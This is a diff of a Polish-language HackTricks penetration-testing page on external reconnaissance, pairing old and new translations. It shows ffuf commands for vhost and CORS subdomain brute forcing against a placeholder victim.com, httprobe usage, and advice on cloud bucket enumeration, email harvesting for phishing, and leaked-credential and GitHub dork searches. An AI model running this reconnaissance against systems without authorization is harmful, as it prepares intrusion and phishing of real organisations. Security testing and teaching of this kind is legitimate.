||||
#### OSINT
|
||||
|
||||
Możesz znaleźć **VHosty w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
|
||||
Możesz znaleźć kilka **VHosts w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych API**.
|
||||
|
||||
**Atak Siłowy**
|
||||
**Brute Force**
|
||||
|
||||
Jeśli podejrzewasz, że jakaś subdomena może być ukryta na serwerze sieciowym, możesz spróbować ją siłowo odszukać:
|
||||
Jeśli podejrzewasz, że niektóre subdomeny mogą być ukryte na serwerze WWW, możesz spróbować je brute force:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -455,213 +457,215 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
VHostScan -t example.com
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Za pomocą tej techniki możesz nawet uzyskać dostęp do wewnętrznych/ukrytych punktów końcowych.
|
||||
Dzięki tej technice możesz nawet uzyskać dostęp do wewnętrznych/ukrytych punktów końcowych.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Czasami znajdziesz strony, które zwracają nagłówek _**Access-Control-Allow-Origin**_ tylko wtedy, gdy prawidłowa domena/poddomena jest ustawiona w nagłówku _**Origin**_. W takich scenariuszach możesz wykorzystać to zachowanie do **odkrywania** nowych **poddomen**.
|
||||
Czasami znajdziesz strony, które zwracają tylko nagłówek _**Access-Control-Allow-Origin**_ gdy w nagłówku _**Origin**_ ustawiona jest ważna domena/subdomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **subdomeny**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Atak siłowy na kubełki**
|
||||
### **Buckets Brute Force**
|
||||
|
||||
Podczas poszukiwania **poddomen** zwróć uwagę, czy nie wskazują one na jakikolwiek **kubełek**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Ponadto, w tym momencie będąc już zaznajomionym ze wszystkimi domenami w zakresie, spróbuj [**przeprowadzić atak siłowy na możliwe nazwy kubełków i sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Podczas szukania **subdomen** zwróć uwagę, czy wskazują one na jakiegoś rodzaju **bucket**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Również, w tym momencie będziesz znać wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorowanie**
|
||||
### **Monitorization**
|
||||
|
||||
Możesz **monitorować** tworzenie się **nowych poddomen** domeny poprzez monitorowanie **logów Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)robi to za Ciebie.
|
||||
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **logi przejrzystości certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Poszukiwanie podatności**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Sprawdź możliwe [**przejęcia poddomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Jeśli **poddomena** wskazuje na jakiś **kubełek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Sprawdź możliwe [**przejęcia subdomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Jeśli **subdomena** wskazuje na jakiś **S3 bucket**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Jeśli znajdziesz jakąkolwiek **poddomenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessus lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) przy użyciu **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do ich "atakowania"**.\
|
||||
_Zauważ, że czasami poddomena jest hostowana pod adresem IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
|
||||
Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
|
||||
_Uwaga, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
|
||||
|
||||
## Adresy IP
|
||||
## IPs
|
||||
|
||||
W początkowych krokach możesz **znaleźć pewne zakresy IP, domeny i poddomeny**.\
|
||||
Nadszedł czas, aby **zbierać wszystkie adresy IP z tych zakresów** oraz dla **domen/poddomen (zapytania DNS).**
|
||||
W początkowych krokach mogłeś **znaleźć pewne zakresy IP, domeny i subdomeny**.\
|
||||
Czas na **zebranie wszystkich IP z tych zakresów** oraz dla **domen/subdomen (zapytania DNS).**
|
||||
|
||||
Korzystając z usług poniższych **darmowych interfejsów API**, możesz również znaleźć **poprzednie adresy IP używane przez domeny i poddomeny**. Te adresy IP mogą nadal należeć do klienta (i mogą pozwolić Ci na znalezienie [**obejść CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Korzystając z usług z poniższych **darmowych API**, możesz również znaleźć **wcześniejsze IP używane przez domeny i subdomeny**. Te IP mogą nadal być własnością klienta (i mogą pozwolić Ci znaleźć [**obejścia CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
Możesz również sprawdzić domeny wskazujące na określony adres IP za pomocą narzędzia [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Możesz również sprawdzić, które domeny wskazują na konkretny adres IP, używając narzędzia [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Poszukiwanie podatności**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
**Skanuj porty wszystkich adresów IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych uruchomionych usługach możesz **znaleźć podatności**.
|
||||
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć podatności**.
|
||||
|
||||
**Znajdź** [**przewodnik**](../pentesting-network/) **o tym, jak skanować hosty.**
|
||||
**Znajdź** [**przewodnik**](../pentesting-network/) **na temat skanowania hostów.**
|
||||
|
||||
## Polowanie na serwery WWW
|
||||
## Web servers hunting
|
||||
|
||||
> Znaleźliśmy wszystkie firmy i ich zasoby oraz znamy zakresy IP, domeny i poddomeny w zakresie. Czas poszukać serwerów WWW.
|
||||
> Znaleźliśmy wszystkie firmy i ich zasoby oraz znamy zakresy IP, domeny i subdomeny w zakresie. Czas na poszukiwanie serwerów webowych.
|
||||
|
||||
W poprzednich krokach prawdopodobnie już przeprowadziłeś **rekonesans odkrytych adresów IP i domen**, więc być może **już znalazłeś wszystkie możliwe serwery WWW**. Jeśli jednak nie, teraz zobaczymy **szybkie sztuczki do wyszukiwania serwerów WWW** w zakresie.
|
||||
W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon IP i odkrytych domen**, więc mogłeś **już znaleźć wszystkie możliwe serwery webowe**. Jednak jeśli tego nie zrobiłeś, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów webowych** w zakresie.
|
||||
|
||||
Należy zauważyć, że będzie to **zorientowane na odkrywanie aplikacji internetowych**, więc powinieneś również **przeprowadzić skan podatności** i **portów** również (**jeśli zezwala na to** zakres).
|
||||
Proszę zauważyć, że to będzie **ukierunkowane na odkrywanie aplikacji webowych**, więc powinieneś **przeprowadzić skanowanie podatności** i **skanowanie portów** również (**jeśli dozwolone** przez zakres).
|
||||
|
||||
**Szybka metoda** odkrywania **otwartych portów** związanych z **serwerami WWW** za pomocą [**masscan można znaleźć tutaj**](../pentesting-network/#http-port-discovery).\
|
||||
Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo, można wskazać, aby spróbował innych portów:
|
||||
**Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** webowymi za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/#http-port-discovery).\
|
||||
Innym przyjaznym narzędziem do wyszukiwania serwerów webowych jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) oraz [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy, że przekażesz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Zrzuty ekranu**
|
||||
|
||||
Teraz, gdy odkryłeś **wszystkie serwery WWW** obecne w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **subdomen**), prawdopodobnie **nie wiesz, od czego zacząć**. Dlatego zacznij od zrobienia zrzutów ekranu wszystkich z nich. Już po **spojrzeniu** na **stronę główną** możesz znaleźć **dziwne** punkty końcowe, które są bardziej **podatne** na **zagrożenia**.
|
||||
Teraz, gdy odkryłeś **wszystkie serwery internetowe** znajdujące się w zakresie (wśród **adresów IP** firmy oraz wszystkich **domen** i **subdomen**) prawdopodobnie **nie wiesz, od czego zacząć**. Zróbmy to prosto i zacznijmy od robienia zrzutów ekranu wszystkich z nich. Już po **rzuceniu okiem** na **stronę główną** możesz znaleźć **dziwne** punkty końcowe, które są bardziej **podatne** na bycie **wrażliwymi**.
|
||||
|
||||
Aby wykonać proponowany pomysł, możesz użyć [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) lub [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
Aby zrealizować zaproponowany pomysł, możesz użyć [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) lub [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Ponadto, możesz użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć Ci, **co najprawdopodobniej zawiera podatności**, a co nie.
|
||||
Ponadto, możesz następnie użyć [**eyeballer**](https://github.com/BishopFox/eyeballer), aby przejrzeć wszystkie **zrzuty ekranu** i powiedzieć ci, **co prawdopodobnie zawiera luki**, a co nie.
|
||||
|
||||
## Zasoby w Chmurze Publicznej
|
||||
## Publiczne zasoby chmurowe
|
||||
|
||||
Aby znaleźć potencjalne zasoby w chmurze należące do firmy, powinieneś **zaczynać od listy słów kluczowych identyfikujących tę firmę**. Na przykład, dla firmy kryptowalutowej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "<nazwa_domeny>", <"nazwy_subdomen">`.
|
||||
Aby znaleźć potencjalne zasoby chmurowe należące do firmy, powinieneś **zacząć od listy słów kluczowych, które identyfikują tę firmę**. Na przykład, dla firmy kryptograficznej możesz użyć słów takich jak: `"crypto", "wallet", "dao", "<nazwa_domeny>", <"nazwy_subdomen">`.
|
||||
|
||||
Będziesz także potrzebował list słów **często używanych w kubełkach**:
|
||||
Będziesz również potrzebować list słów **powszechnie używanych w bucketach**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Następnie, z tymi słowami powinieneś generować **permutacje** (sprawdź [**Druga Runda Prób Brute-Force DNS**](./#second-dns-bruteforce-round) po więcej informacji).
|
||||
Następnie, z tymi słowami powinieneś wygenerować **permutacje** (sprawdź [**Drugą rundę DNS Brute-Force**](./#second-dns-bruteforce-round) po więcej informacji).
|
||||
|
||||
Z uzyskanych list słów możesz użyć narzędzi takich jak [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
Z uzyskanymi listami słów możesz użyć narzędzi takich jak [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **lub** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Pamiętaj, że szukając Zasobów w Chmurze powinieneś **szukać więcej niż tylko kubełków w AWS**.
|
||||
Pamiętaj, że szukając zasobów chmurowych, powinieneś **szukać więcej niż tylko bucketów w AWS**.
|
||||
|
||||
### **Szukanie podatności**
|
||||
### **Szukając luk**
|
||||
|
||||
Jeśli znajdziesz rzeczy takie jak **otwarte kubełki lub funkcje chmurowe wystawione**, powinieneś **uzyskać do nich dostęp** i spróbować zobaczyć, co oferują i czy można je nadużyć.
|
||||
Jeśli znajdziesz takie rzeczy jak **otwarte buckety lub wystawione funkcje chmurowe**, powinieneś **uzyskać do nich dostęp** i spróbować zobaczyć, co oferują i czy możesz je wykorzystać.
|
||||
|
||||
## Emaile
|
||||
## E-maile
|
||||
|
||||
Dzięki **domenom** i **subdomenom** w zakresie masz praktycznie wszystko, czego potrzebujesz, aby zacząć szukać adresów e-mail. Oto **API** i **narzędzia**, które najlepiej sprawdziły się dla mnie w poszukiwaniu adresów e-mail firmy:
|
||||
Z **domenami** i **subdomenami** w zakresie masz zasadniczo wszystko, co **potrzebujesz, aby zacząć szukać e-maili**. Oto **API** i **narzędzia**, które najlepiej działały dla mnie w znajdowaniu e-maili firmy:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - z użyciem API
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - z API
|
||||
* API [**https://hunter.io/**](https://hunter.io/) (wersja darmowa)
|
||||
* API [**https://app.snov.io/**](https://app.snov.io/) (wersja darmowa)
|
||||
* API [**https://minelead.io/**](https://minelead.io/) (wersja darmowa)
|
||||
|
||||
### **Szukanie podatności**
|
||||
### **Szukając luk**
|
||||
|
||||
Emaile przydadzą się później do **prób łamania logowań na stronach internetowych i usługach uwierzytelniania** (takich jak SSH). Są również potrzebne do **phishingu**. Ponadto te API dostarczą Ci jeszcze więcej **informacji o osobie** za adresem e-mail, co jest przydatne dla kampanii phishingowej.
|
||||
E-maile będą przydatne później do **brute-force'owania logowania do stron internetowych i usług autoryzacyjnych** (takich jak SSH). Ponadto są potrzebne do **phishingu**. Co więcej, te API dadzą ci jeszcze więcej **informacji o osobie** stojącej za e-mailem, co jest przydatne w kampanii phishingowej.
|
||||
|
||||
## Wycieki Poświadczeń
|
||||
## Wycieki danych uwierzytelniających
|
||||
|
||||
Dzięki **domenom**, **subdomenom** i **emailom** możesz zacząć szukać wycieków poświadczeń, które miały miejsce w przeszłości i należą do tych adresów e-mail:
|
||||
Z **domenami**, **subdomenami** i **e-mailami** możesz zacząć szukać danych uwierzytelniających, które wyciekły w przeszłości i należą do tych e-maili:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Szukanie podatności**
|
||||
### **Szukając luk**
|
||||
|
||||
Jeśli znajdziesz **ważne wycieki** poświadczeń, to bardzo łatwe zwycięstwo.
|
||||
Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające, to bardzo łatwe zwycięstwo.
|
||||
|
||||
## Wycieki Sekretów
|
||||
## Wyciek tajemnic
|
||||
|
||||
Wycieki poświadczeń są związane z atakami na firmy, w których **wyciekły i zostały sprzedane poufne informacje**. Jednak firmy mogą być dotknięte również przez **inne wycieki**, których informacje nie znajdują się w tych bazach danych:
|
||||
Wyciek danych uwierzytelniających jest związany z hackami firm, w których **wrażliwe informacje zostały wycieknięte i sprzedane**. Jednak firmy mogą być dotknięte **innymi wyciekami**, których informacje nie znajdują się w tych bazach danych:
|
||||
|
||||
### Wycieki z Githuba
|
||||
### Wyciek z GitHub
|
||||
|
||||
Poświadczenia i interfejsy API mogą wyciec w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących w tej firmie na Githubie.\
|
||||
Możesz użyć narzędzia [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** organizacji i jej deweloperów i automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
|
||||
Dane uwierzytelniające i API mogą być wyciekane w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na GitHubie.\
|
||||
Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobierać** wszystkie **publiczne repozytoria** **organizacji** i jej **deweloperów** oraz automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
|
||||
|
||||
**Leakos** można również użyć do uruchomienia **gitleaks** na wszystkich **tekstach** dostarczonych jako **przekazane adresy URL**, ponieważ czasami **strony internetowe również zawierają sekrety**.
|
||||
**Leakos** może być również używane do uruchamiania **gitleaks** na wszystkich **tekstach** dostarczonych **URL-ami**, ponieważ czasami **strony internetowe również zawierają tajemnice**.
|
||||
|
||||
#### Dorki Githuba
|
||||
#### Dorki GitHub
|
||||
|
||||
Sprawdź również tę **stronę** w poszukiwaniu potencjalnych **dorków Githuba**, których również możesz szukać w atakowanej organizacji:
|
||||
Sprawdź również tę **stronę** w poszukiwaniu potencjalnych **dorków GitHub**, które możesz również wyszukiwać w organizacji, którą atakujesz:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Wycieki wklejek
|
||||
### Wyciek Paste
|
||||
|
||||
Czasami atakujący lub po prostu pracownicy opublikują treści firmy na stronie z wklejkami. Mogą one zawierać **informacje poufne** lub nie, ale warto je przeszukać.\
|
||||
Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby jednocześnie przeszukać ponad 80 stron z wklejkami.
|
||||
Czasami atakujący lub po prostu pracownicy **publikują treści firmy na stronie paste**. Może to zawierać lub nie zawierać **wrażliwych informacji**, ale bardzo interesujące jest ich wyszukiwanie.\
|
||||
Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), aby przeszukiwać więcej niż 80 stron paste jednocześnie.
|
||||
|
||||
### Dorki Google
|
||||
|
||||
Stare, ale złote dorki Google zawsze są przydatne do znalezienia **ujawnionych informacji, które tam nie powinny być**. Jedynym problemem jest to, że [**baza danych google-hacking**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie można uruchomić ręcznie. Dlatego możesz wybrać swoje ulubione 10 lub skorzystać z **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do ich uruchomienia**.
|
||||
Stare, ale złote dorki Google zawsze są przydatne do znajdowania **ujawnionych informacji, które nie powinny tam być**. Jedynym problemem jest to, że [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie możesz uruchomić ręcznie. Możesz więc wybrać swoje ulubione 10 lub możesz użyć **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks), **aby uruchomić je wszystkie**.
|
||||
|
||||
_Zauważ, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą zwykłej przeglądarki Google, nigdy się nie zakończą, ponieważ Google szybko Cię zablokuje._
|
||||
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie zakończą, ponieważ Google zablokuje cię bardzo szybko._
|
||||
|
||||
### **Szukanie podatności**
|
||||
### **Szukając luk**
|
||||
|
||||
Jeśli znajdziesz **ważne wycieki** poświadczeń lub tokenów API, to bardzo łatwe zwycięstwo.
|
||||
Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające lub tokeny API, to bardzo łatwe zwycięstwo.
|
||||
|
||||
## Publiczne Podatności Kodu
|
||||
## Publiczne luki w kodzie
|
||||
|
||||
Jeśli odkryłeś, że firma ma **kod open-source**, możesz go **analizować** i szukać na nim **podatności**.
|
||||
Jeśli odkryłeś, że firma ma **kod open-source**, możesz go **analizować** i szukać **luk** w nim.
|
||||
|
||||
W zależności od języka istnieją różne **narzędzia**, których możesz użyć:
|
||||
**W zależności od języka** istnieją różne **narzędzia**, które możesz użyć:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Istnieją również bezpłatne usługi, które pozwalają **skanować publiczne repozytoria**, takie jak:
|
||||
Istnieją również darmowe usługi, które pozwalają na **skanowanie publicznych repozytoriów**, takie jak:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Metodologia testowania penetracyjnego aplikacji internetowych**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Większość podatności** znajdowanych przez łowców błędów znajduje się w **aplikacjach internetowych**, dlatego w tym momencie chciałbym omówić **metodologię testowania aplikacji internetowych**, którą możesz [**znaleźć tutaj**](../../network-services-pentesting/pentesting-web/).
|
||||
## [**Metodologia Pentestingu Web**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
Chciałbym również zwrócić uwagę na sekcję [**Otwarte narzędzia skanujące automatycznie strony internetowe**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, chociaż nie powinieneś oczekiwać, że znajdą one bardzo wrażliwe podatności, są przydatne do implementacji w **przepływach pracy w celu uzyskania początkowych informacji o stronie internetowej.**
|
||||
**Większość luk** znalezionych przez łowców błędów znajduje się w **aplikacjach internetowych**, więc w tym momencie chciałbym porozmawiać o **metodologii testowania aplikacji internetowych**, a możesz [**znaleźć te informacje tutaj**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
## Podsumowanie
|
||||
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania aplikacji webowych open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać początkowe informacje o sieci.**
|
||||
|
||||
> Gratulacje! W tym momencie już przeprowadziłeś **całą podstawową enumerację**. Tak, jest to podstawowe, ponieważ można wykonać znacznie więcej operacji enumeracji (zobaczymy więcej sztuczek później).
|
||||
## Rekapitulacja
|
||||
|
||||
> Gratulacje! W tym momencie wykonałeś już **wszystkie podstawowe enumeracje**. Tak, to podstawowe, ponieważ można wykonać znacznie więcej enumeracji (zobaczymy więcej sztuczek później).
|
||||
|
||||
Więc już:
|
||||
|
||||
1. Znalazłeś wszystkie **firmy** w zakresie
|
||||
2. Znalazłeś wszystkie **zasoby** należące do firm (i przeprowadziłeś skanowanie podatności, jeśli jest to w zakresie)
|
||||
2. Znalazłeś wszystkie **zasoby** należące do firm (i przeprowadziłeś skanowanie luk, jeśli było w zakresie)
|
||||
3. Znalazłeś wszystkie **domeny** należące do firm
|
||||
4. Znalazłeś wszystkie **subdomeny** domen (jakiekolwiek przejęcie subdomeny?)
|
||||
5. Znalazłeś wszystkie **adresy IP** (z i **spoza sieci CDN**) w zakresie.
|
||||
6. Znalazłeś wszystkie **serwery internetowe** i wykonałeś **zrzut ekranu** z nich (czy coś dziwnego warte głębszego zbadania?)
|
||||
7. Znalazłeś wszystkie **potencjalne zasoby publicznych chmur** należące do firmy.
|
||||
8. **Emaile**, **wycieki poświadczeń** i **wycieki tajemnic**, które mogą dać ci **łatwe zwycięstwo**.
|
||||
9. **Testowanie penetracyjne wszystkich stron internetowych, które znalazłeś**
|
||||
4. Znalazłeś wszystkie **subdomeny** domen (czy jest jakieś przejęcie subdomeny?)
|
||||
5. Znalazłeś wszystkie **adresy IP** (z i **nie z CDN**) w zakresie.
|
||||
6. Znalazłeś wszystkie **serwery internetowe** i zrobiłeś **zrzut ekranu** z nich (czy jest coś dziwnego, co warto dokładniej zbadać?)
|
||||
7. Znalazłeś wszystkie **potencjalne publiczne zasoby chmurowe** należące do firmy.
|
||||
8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki tajemnic**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
|
||||
9. **Pentesting wszystkich stron, które znalazłeś**
|
||||
|
||||
## **Pełne narzędzia automatyczne do rozpoznawania**
|
||||
## **Pełne narzędzia automatyczne do rekonesansu**
|
||||
|
||||
Istnieje wiele narzędzi, które wykonają część proponowanych działań w określonym zakresie.
|
||||
Istnieje kilka narzędzi, które wykonają część zaproponowanych działań przeciwko danemu zakresowi.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Trochę przestarzałe i nieaktualizowane
|
||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Trochę stare i nieaktualizowane
|
||||
|
||||
## **Referencje**
|
||||
|
||||
* Wszystkie darmowe kursy od [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia łowcy błędów v4.0 - Edycja Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
* Wszystkie darmowe kursy [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia Łowcy Błędów v4.0 - Wydanie Rekonesansu**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i hackowaniem tego, co nie do zhackowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS w hakowaniu z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
